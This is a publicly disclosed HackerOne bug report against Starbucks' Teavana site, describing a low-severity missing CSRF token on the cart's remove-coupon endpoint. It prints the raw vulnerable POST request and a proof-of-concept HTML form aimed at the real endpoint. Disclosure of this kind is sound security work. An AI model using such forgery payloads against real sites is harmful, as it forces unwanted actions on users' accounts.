HexBrain

Starbucks · Report #227726

Missing CSRF Token On Remove Coupun From Cart

Duplicatestatus
lowseverity
10upvotes
8 Feb 2019disclosed

How it was found

Hi, When remove coupun, there's no CSRF token, at this time i use ███████ Coupun to reproduce it.

Vuln Request

POST /on/demandware.store/Sites-Teavana-Site/default/Cart-RemoveCoupon HTTP/1.1
Host: www.teavana.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://www.teavana.com/us/en/cart
Content-Length: 17
Cookie: some cookie
Connection: close

couponCode=██████████

Poc Code

<html>
<body>
<form action="https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Cart-RemoveCoupon" method="POST">
<input type="hidden" name="couponCode" value="███" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Edit the coupunCode with name of the coupun.

Thanks, If you need video, i will create one !

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original